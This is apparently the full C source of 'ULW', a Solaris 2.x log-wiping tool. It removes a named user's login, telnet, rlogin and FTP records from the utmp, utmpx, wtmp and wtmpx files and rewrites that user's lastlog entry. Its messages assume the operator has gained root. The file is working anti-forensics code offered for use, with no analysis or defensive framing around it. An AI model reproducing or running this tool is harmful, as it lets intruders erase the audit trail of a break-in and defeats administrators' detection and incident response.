/*============================================================
     ULW  - UNYUN Log Wiper Version 1.10 for Solaris 2.x
                    Programmed by UNYUN
  ============================================================
*/
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <utmp.h>
#include <utmpx.h>
#include <lastlog.h>
#include <pwd.h>
#include <sys/types.h>
#include <sys/stat.h>

#define UTMP_NAME     "/var/adm/utmp" 
#define UTMPX_NAME    "/var/adm/utmpx" 
#define WTMP_NAME     "/var/adm/wtmp" 
#define WTMPX_NAME    "/var/adm/wtmpx" 
#define LASTLOG_NAME  "/var/adm/lastlog" 

#define EXT_SPACE     10
#define WIPE_MARK     "XXX"
#define UTLINE_LEN    100
#define	NAME_LEN	  100

int main(int argc, char **argv) 
{ 
	struct utmp     *wtmp_buf,*utmp_buf;
	struct utmpx    *wtmpx_buf,*utmpx_buf;
	struct passwd	*pwd;
	struct stat		st;
	int             sz1,sz2,sz3,sz4,l1,l2,l3,l4;
	int				tgline,utgline,i,j,k,l,zaped,ff,unzap=0;
	char			tg_utid[UTLINE_LEN],name[NAME_LEN],*ref_mark;
	time_t			dd_time[3];

	if (argc<=1){
		printf("[Usage]\n");
		printf("%s [-u] [UserName]\n",argv[0]);
		printf("-u : Reconstruct zapped log\n");
		return (-1);
	}
	strcpy(name,argv[1]);
	if (name[0]=='-'){
		if (argc<=2) strcpy(name,"");
		else strcpy(name,argv[2]);
		if (strstr(argv[1],"u")!=NULL) unzap=1;
	}
	/* Get filesize of *tmp*  */
	stat(WTMP_NAME,&st);  sz1=st.st_size;
	stat(WTMPX_NAME,&st); sz2=st.st_size;
	stat(UTMP_NAME,&st);  sz3=st.st_size;
	stat(UTMPX_NAME,&st); sz4=st.st_size;
	/* Allocate buffer of *tmp* */
	if ((wtmp_buf  = (void *)malloc(sz1))==NULL
      ||(wtmpx_buf = (void *)malloc(sz2))==NULL
	  ||(utmp_buf  = (void *)malloc(sz3))==NULL
      ||(utmpx_buf = (void *)malloc(sz4))==NULL){
        printf("Memory allocation error.\n");
		return(-1);
	}
	/* Read *temp* to allocated buffer */
    if ((l1=FileRead(WTMP_NAME, (char *)wtmp_buf, sz1))==-1
      ||(l2=FileRead(WTMPX_NAME,(char *)wtmpx_buf,sz2))==-1
      ||(l3=FileRead(UTMP_NAME, (char *)utmp_buf, sz3))==-1
      ||(l4=FileRead(UTMPX_NAME,(char *)utmpx_buf,sz4))==-1){
    	free(wtmp_buf); free(wtmpx_buf);
    	free(utmp_buf); free(utmpx_buf);
		return(-1);
	}
	/* Calculate line number of wtmp/wtmpx */
	l1/=sizeof(struct utmp); l2/=sizeof(struct utmpx);
	l3/=sizeof(struct utmp); l4/=sizeof(struct utmpx);
	if (l1!=l2 || l3!=l4){
		printf("Logfile size is invalid.\n",WTMP_NAME,WTMPX_NAME);
		return(-1);
	}
	/* unzap */
	if (unzap==1){
		if ((ref_mark=(void *)malloc(l1))==NULL){
			printf("Memory allocation error.\n");
			return(-1);
		}
		/* unzap wtmp/wtmpx */
		memset(ref_mark,'0',l1);
		for (i=l1-1;i>=0;i--){
			if (wtmpx_buf[i].ut_type==6){
				for (j=i+1;j<l1;j++)
					if (wtmpx_buf[j].ut_type==7
					 && ref_mark[j]=='0'
                     && strncmp(wtmpx_buf[i].ut_id,wtmpx_buf[j].ut_id,4)==0
                     && strstr(wtmp_buf[i].ut_line,wtmpx_buf[j].ut_line)!=NULL){
						ref_mark[i]='@';
						ref_mark[j]='*';
						break;
					}
			}else if (wtmpx_buf[i].ut_type==7
			  && strncmp(wtmpx_buf[i].ut_line,"ftp",3)==0
			  && strlen(wtmpx_buf[i].ut_user)!=0){
               	for (j=i+1;j<l1;j++)    
                    if (wtmpx_buf[j].ut_type==7
                     && ref_mark[j]=='0'
                     && strcmp(wtmp_buf[i].ut_line,wtmpx_buf[j].ut_line)==0){
                        ref_mark[i]='#';
                        ref_mark[j]='$'; 
                        break;
                    }
			}
		}
		for (zaped=0,i=0;i<l1;i++)
			if (ref_mark[i]!='0') continue;
			else if (wtmpx_buf[i].ut_type==0
				  || wtmpx_buf[i].ut_type==6 || wtmpx_buf[i].ut_type==7){
					strcpy(wtmp_buf[i].ut_name,".zapped");
					strcpy(wtmpx_buf[i].ut_name,".zapped");
					strcpy(wtmp_buf[i].ut_id,WIPE_MARK);
					strcpy(wtmpx_buf[i].ut_id,WIPE_MARK);
					zaped++;
			}
		/* unzap utmp/utmpx */
		if (zaped!=0){
		  printf("wtmp/wtmpx is zapped (%d lines).\n",zaped);
		  for (i=l1-1;i>=0;i--){
			if (wtmpx_buf[i].ut_type==6
             || (  strncmp(wtmp_buf[i].ut_id,"tn",2)!=0
                && strncmp(wtmp_buf[i].ut_id,"rl",2)!=0)) continue;
			for (j=0;j<l3;j++)
				if (strncmp(wtmpx_buf[i].ut_id,utmpx_buf[j].ut_id,4)==0)
					break;
			k=j;
			if (k==l3){
				for (j=0;j<l3;j++)
					if (strncmp(utmpx_buf[j].ut_id,wtmpx_buf[i].ut_id,2)==0
                     && utmpx_buf[j].ut_id[2]+1 == wtmpx_buf[i].ut_id[2]) break;
				if (j!=l3){
					for (l=j+1;l<l3;l++)
						if (utmpx_buf[l].ut_type==0){
							utmpx_buf[l]=wtmpx_buf[i];
							utmp_buf[l]=wtmp_buf[i];
							break;
						}
				}else{
					printf("Error in utmp/utmpx\n"); return (-1);
				}
			}
		  }
		  for (i=0;i<l1;i++)
			if (wtmpx_buf[i].ut_type==0){
				strcpy(wtmp_buf[i].ut_id,WIPE_MARK);
				strcpy(wtmpx_buf[i].ut_id,WIPE_MARK);
			}
		  for (i=0;i<l3;i++)
			if (utmpx_buf[i].ut_type==0){
				strcpy(utmp_buf[i].ut_id,WIPE_MARK);
				strcpy(utmpx_buf[i].ut_id,WIPE_MARK);
			}
		  setpwent();
		  for(;;){
			if ((pwd=getpwent())==NULL) break;
			WipeLastlog(pwd->pw_name,wtmp_buf,wtmpx_buf,l1);
		  }
		  /* save */
		  if (strlen(name)==0){
			WriteLOG(wtmp_buf,WTMP_NAME,l1,0);WriteLOG(wtmpx_buf,WTMPX_NAME,l2,1);
			WriteLOG(utmp_buf,UTMP_NAME,l3,0); WriteLOG(utmpx_buf,UTMPX_NAME,l4,1);
		  }
		}else
			printf("wtmp/wtmpx is not zapped.\n");
	}
	if (strlen(name)==0){
    	free(wtmp_buf); free(wtmpx_buf);
    	free(utmp_buf); free(utmpx_buf);
		free(ref_mark);
		return(0);
	}
	/* Search target name from wtmpx*/
	for (tgline=l1-1;tgline>=0;tgline--)
		if (strcmp(wtmpx_buf[tgline].ut_user,name)==0) break;
	if (tgline==-1){
		printf("%s does not exist in logfile\n",name);
		return(-1);
	}
	strncpy(tg_utid,wtmpx_buf[tgline].ut_id,4);
	tg_utid[4]=0;
	/* Wipe wtmp/wtmpx */
	strcpy(wtmp_buf[tgline].ut_id,WIPE_MARK);		
	strcpy(wtmpx_buf[tgline].ut_id,WIPE_MARK);		
	dd_time[0]=wtmp_buf[tgline].ut_time;
	dd_time[1]=dd_time[2]=0;
	if (strncmp(wtmpx_buf[tgline].ut_line,"ftp",3)==0){
		printf("%s is FTP log.\n",name);
		/* Wipe FTP Log */
		for (i=tgline+1;i<l1;i++)
			if (strcmp(wtmpx_buf[i].ut_line,wtmpx_buf[tgline].ut_line)==0
			 && strcmp(wtmpx_buf[i].ut_name,"")==0){
				strcpy(wtmp_buf[i].ut_id,WIPE_MARK);		
				strcpy(wtmpx_buf[i].ut_id,WIPE_MARK);		
				break;
			}
	}else{
		printf("%s is TELNET or RLOGIN log.\n",name);
		/*  Wipe ".rlogin" or ".telnet" entry. */
		for (i=tgline-1;i>=0;i--)
			if (strncmp(wtmpx_buf[i].ut_id,tg_utid,4)==0
             && wtmpx_buf[i].ut_type==6){
				strcpy(wtmp_buf[i].ut_id,WIPE_MARK);		
				strcpy(wtmpx_buf[i].ut_id,WIPE_MARK);		
				dd_time[1]=wtmp_buf[i].ut_time;
				break;
			}
		/*  Wipe login entry */
		if (wtmp_buf[tgline].ut_type==8)
			for (i=tgline-1;i>=0;i--)
				if (strncmp(wtmpx_buf[i].ut_id,tg_utid,4)==0
           	     && wtmpx_buf[i].ut_type==7){
					strcpy(wtmp_buf[i].ut_id,WIPE_MARK);		
					strcpy(wtmpx_buf[i].ut_id,WIPE_MARK);		
					dd_time[2]=wtmp_buf[i].ut_time;
					break;
				}
		/* Write to utmp/utmpx */
		for (ff=0,i=0;i<l3;i++){
			for (j=0;j<3;j++)
				if (utmp_buf[i].ut_time == dd_time[j]){
					ff=1; break;
				}
			if (j!=3) break;
		} 
		if (ff==1){ 
			for (j=tgline-1;j>=0;j--)
				if (strncmp(wtmpx_buf[j].ut_id,tg_utid,4)==0
			 	&& wtmpx_buf[j].ut_type==8){
					utmp_buf[i]=wtmp_buf[j]; utmpx_buf[i]=wtmpx_buf[j];
					break;
				}
			if (j==-1){
				strcpy(utmp_buf[i].ut_id,WIPE_MARK);
				strcpy(utmpx_buf[i].ut_id,WIPE_MARK);
			}
		}
	}
	WipeLastlog(name,wtmp_buf,wtmpx_buf,l1);
	WriteLOG(wtmp_buf,WTMP_NAME,l1,0); WriteLOG(wtmpx_buf,WTMPX_NAME,l2,1);
	WriteLOG(utmp_buf,UTMP_NAME,l3,0); WriteLOG(utmpx_buf,UTMPX_NAME,l4,1);
    free(wtmp_buf); free(wtmpx_buf);
    free(utmp_buf); free(utmpx_buf);
	return(0);
} 
int	WipeLastlog(char *name,struct utmp *wtmp_buf,struct utmpx *wtmpx_buf,int l)
{
	struct passwd 	*p;
	struct lastlog 	ll,ll_old;
	int				fd,i;

	if ((p=getpwnam(name))==NULL){
		printf("%s does not exist in lastlog.\n"); return(-1);
	}
	for (i=l-1;i>=0;i--)
		if (strcmp(wtmpx_buf[i].ut_user,name)==0 && wtmpx_buf[i].ut_type==7
		   && strncmp(wtmpx_buf[i].ut_id,WIPE_MARK,strlen(WIPE_MARK))!=0) break;
	if (i==-1) bzero((char *)&ll,sizeof(struct lastlog));
	else{
		ll.ll_time=wtmp_buf[i].ut_time;
		if (strncmp(wtmp_buf[i].ut_line,"ftp",3)==0)
			 strncpy(ll.ll_line,wtmp_buf[i].ut_line+5,sizeof(ll.ll_line));
		else strncpy(ll.ll_line,wtmp_buf[i].ut_line,sizeof(ll.ll_line));
		ll.ll_line[sizeof(ll.ll_line)-1]=0;
		strncpy(ll.ll_host,wtmpx_buf[i].ut_host,sizeof(ll.ll_host));
		ll.ll_host[sizeof(ll.ll_host)-1]=0;
	}	
	if ((fd=open(LASTLOG_NAME, O_RDWR)) >= 0) {
		lseek(fd,(long)p->pw_uid * sizeof (struct lastlog), 0);
		read(fd,(char *)&ll_old,sizeof(ll));
		if (ll_old.ll_time==ll.ll_time) return(0);
		lseek(fd,(long)p->pw_uid * sizeof (struct lastlog), 0);
		write(fd,(char *)&ll,sizeof(ll));
		printf("%s replaced.\n",LASTLOG_NAME);
		close(fd); return(0);
	}else{
		printf("File write error. You have to get rOOt.\n");
		return(-1);
	}
}
int	WriteLOG(void *buf,char *fname,int ln,int flag)
{
	struct utmp		*wtmp_buf=buf;
	struct utmpx	*wtmpx_buf=buf;
	FILE			*fp;
	int				i;

	if ((fp=fopen(fname,"wb"))==NULL){
		printf("File write error \"%s\".\n",fname);
		printf("You have to get rOOt.\n");
		return (-1);
	}
	for (i=0;i<ln;i++){
		if (flag==0){
			if (strcmp(wtmp_buf[i].ut_id,WIPE_MARK)==0) continue;
			else fwrite(wtmp_buf+i,1,sizeof(struct utmp),fp);
		}else{
			if (strcmp(wtmpx_buf[i].ut_id,WIPE_MARK)==0) continue;
			else fwrite(wtmpx_buf+i,1,sizeof(struct utmpx),fp);
		}
	}
	printf("%s wiped.\n",fname);
	fclose(fp);	
}
int	FileRead(char *path,char *buf,int sz)
{
	FILE	*fp;
	int		r;

	if ((fp=fopen(path,"rb"))==NULL){
		printf("File not found \"%s\".\n",path); return(-1);
	}
	r=fread(buf,1,sz,fp); fclose(fp);
	return(r);
}